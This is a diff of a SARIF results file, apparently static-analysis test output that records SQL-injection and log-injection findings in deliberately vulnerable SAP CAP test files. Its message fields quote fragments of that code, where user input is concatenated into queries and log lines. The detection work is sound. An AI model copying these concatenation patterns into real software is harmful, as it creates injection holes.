-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
-                },
-                "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
-                }
-              },
-              "message" : {
-                "text" : "req"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
-                },
-                "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
-                }
-              },
-              "message" : {
-                "text" : "req"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 23,
                   "startColumn" : 34,
-                  "endColumn" : 42
+                  "endColumn" : 54
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "req2.params.category"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 23,
                   "startColumn" : 13,
                   "endColumn" : 31
                 }
@@ -20239,12 +22490,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 23,
                   "startColumn" : 15,
                   "endColumn" : 19
                 }
@@ -20257,14 +22508,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 23,
                   "startColumn" : 13,
-                  "endColumn" : 42
+                  "endColumn" : 54
                 }
               },
               "message" : {
@@ -20275,14 +22526,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 20,
-                  "startColumn" : 60,
-                  "endColumn" : 64
+                  "startLine" : 25,
+                  "startColumn" : 25,
+                  "endColumn" : 29
                 }
               },
               "message" : {
@@ -20293,36 +22544,18 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
-                },
-                "region" : {
-                  "startLine" : 20,
-                  "startColumn" : 52,
-                  "endColumn" : 64
-                }
-              },
-              "message" : {
-                "text" : "'ID=' + book"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 2
                 },
                 "region" : {
-                  "startLine" : 20,
-                  "startColumn" : 27,
-                  "endColumn" : 65
+                  "startLine" : 25,
+                  "startColumn" : 16,
+                  "endColumn" : 29
                 }
               },
               "message" : {
-                "text" : "SELECT. ... + book)"
+                "text" : "\"CAP:\" + book"
               }
             }
           } ]
@@ -20332,14 +22565,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 2
           },
           "region" : {
-            "startLine" : 7,
+            "startLine" : 23,
             "startColumn" : 34,
-            "endColumn" : 37
+            "endColumn" : 54
           }
         },
         "message" : {
@@ -20347,34 +22580,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/cap-sql-injection",
+      "ruleId" : "js/cap-log-injection",
       "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
+        "id" : "js/cap-log-injection",
+        "index" : 1,
         "toolComponent" : {
-          "index" : 1
+          "index" : 0
         }
       },
       "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 43
           },
           "region" : {
-            "startLine" : 28,
-            "startColumn" : 39,
-            "endColumn" : 42
+            "startLine" : 9,
+            "startColumn" : 32,
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "75dceaab23242fe6:1",
-        "primaryLocationStartColumnFingerprint" : "32"
+        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
+        "primaryLocationStartColumnFingerprint" : "23"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20382,431 +22615,449 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 43
+                },
+                "region" : {
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
+                }
+              },
+              "message" : {
+                "text" : "msg"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 43
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 7,
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 7,
                   "startColumn" : 15,
-                  "endColumn" : 19
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 43
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 42
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "messageToPass"
               }
             }
-          }, {
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 43
+          },
+          "region" : {
+            "startLine" : 6,
+            "startColumn" : 29,
+            "endColumn" : 32
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-log-injection",
+      "rule" : {
+        "id" : "js/cap-log-injection",
+        "index" : 1,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "Log entry depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 51
+          },
+          "region" : {
+            "startLine" : 9,
+            "startColumn" : 32,
+            "endColumn" : 45
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
+        "primaryLocationStartColumnFingerprint" : "23"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 59,
-                  "endColumn" : 63
+                  "startLine" : 6,
+                  "startColumn" : 33,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 17,
-                  "endColumn" : 63
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "CQL`SEL ...  + book"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 27,
-                  "startColumn" : 11,
-                  "endColumn" : 63
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "cqn"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 28,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "cqn"
+                "text" : "{ messageToPass }"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 0
-          },
-          "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/cap-sql-injection",
-      "rule" : {
-        "id" : "js/cap-sql-injection",
-        "index" : 0,
-        "toolComponent" : {
-          "index" : 1
-        }
-      },
-      "message" : {
-        "text" : "This query depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 0
-          },
-          "region" : {
-            "startLine" : 31,
-            "startColumn" : 39,
-            "endColumn" : 43
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "a6a36dcb3241fe8b:1",
-        "primaryLocationStartColumnFingerprint" : "32"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startColumn" : 21,
+                  "endColumn" : 34
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 9,
+                  "startColumn" : 38,
+                  "endColumn" : 51
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 49
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 9,
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 51
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 51
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 51
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 56,
-                  "endColumn" : 60
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 51
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 32,
-                  "endColumn" : 60
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "`SELECT ...  + book"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 51
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 18,
-                  "endColumn" : 61
+                  "startLine" : 7,
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "cds.par ... + book)"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 51
                 },
                 "region" : {
-                  "startLine" : 30,
-                  "startColumn" : 11,
-                  "endColumn" : 61
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "cqn1"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 0
+                  "index" : 51
                 },
                 "region" : {
-                  "startLine" : 31,
-                  "startColumn" : 39,
-                  "endColumn" : 43
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "cqn1"
+                "text" : "messageToPass"
               }
             }
           } ]
@@ -20816,14 +23067,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sqlinjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 0
+            "index" : 49
           },
           "region" : {
-            "startLine" : 7,
-            "startColumn" : 34,
-            "endColumn" : 37
+            "startLine" : 6,
+            "startColumn" : 33,
+            "endColumn" : 36
           }
         },
         "message" : {
@@ -20836,29 +23087,29 @@
         "id" : "js/cap-log-injection",
         "index" : 1,
         "toolComponent" : {
-          "index" : 1
+          "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1).\nLog entry depends on a [user-provided value](2)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 2
+            "index" : 58
           },
           "region" : {
-            "startLine" : 11,
-            "startColumn" : 16,
-            "endColumn" : 29
+            "startLine" : 9,
+            "startColumn" : 32,
+            "endColumn" : 45
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "eae426bf8fad0192:1",
-        "primaryLocationStartColumnFingerprint" : "9"
+        "primaryLocationLineHash" : "7c291d40b7c61d4f:1",
+        "primaryLocationStartColumnFingerprint" : "23"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -20866,448 +23117,400 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
+                },
+                "region" : {
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
+                }
+              },
+              "message" : {
+                "text" : "msg"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 37
+                  "startLine" : 7,
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 34,
-                  "endColumn" : 42
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
-                  "endColumn" : 31
+                  "startLine" : 7,
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
-                "text" : "{ book, quantity }"
+                "text" : "messageToPass"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 58
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
+                }
+              },
+              "message" : {
+                "text" : "messageToPass"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 58
+                },
+                "region" : {
+                  "startLine" : 9,
+                  "startColumn" : 32,
+                  "endColumn" : 45
+                }
+              },
+              "message" : {
+                "text" : "messageToPass"
+              }
+            }
+          } ]
+        } ]
+      }, {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 15,
-                  "endColumn" : 19
+                  "startLine" : 6,
+                  "startColumn" : 33,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 13,
+                  "startLine" : 7,
+                  "startColumn" : 39,
                   "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/loginjection.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 2
+                  "index" : 56
                 },
                 "region" : {
-                  "startLine" : 11,
-                  "startColumn" : 25,
-                  "endColumn" : 29
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "book"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
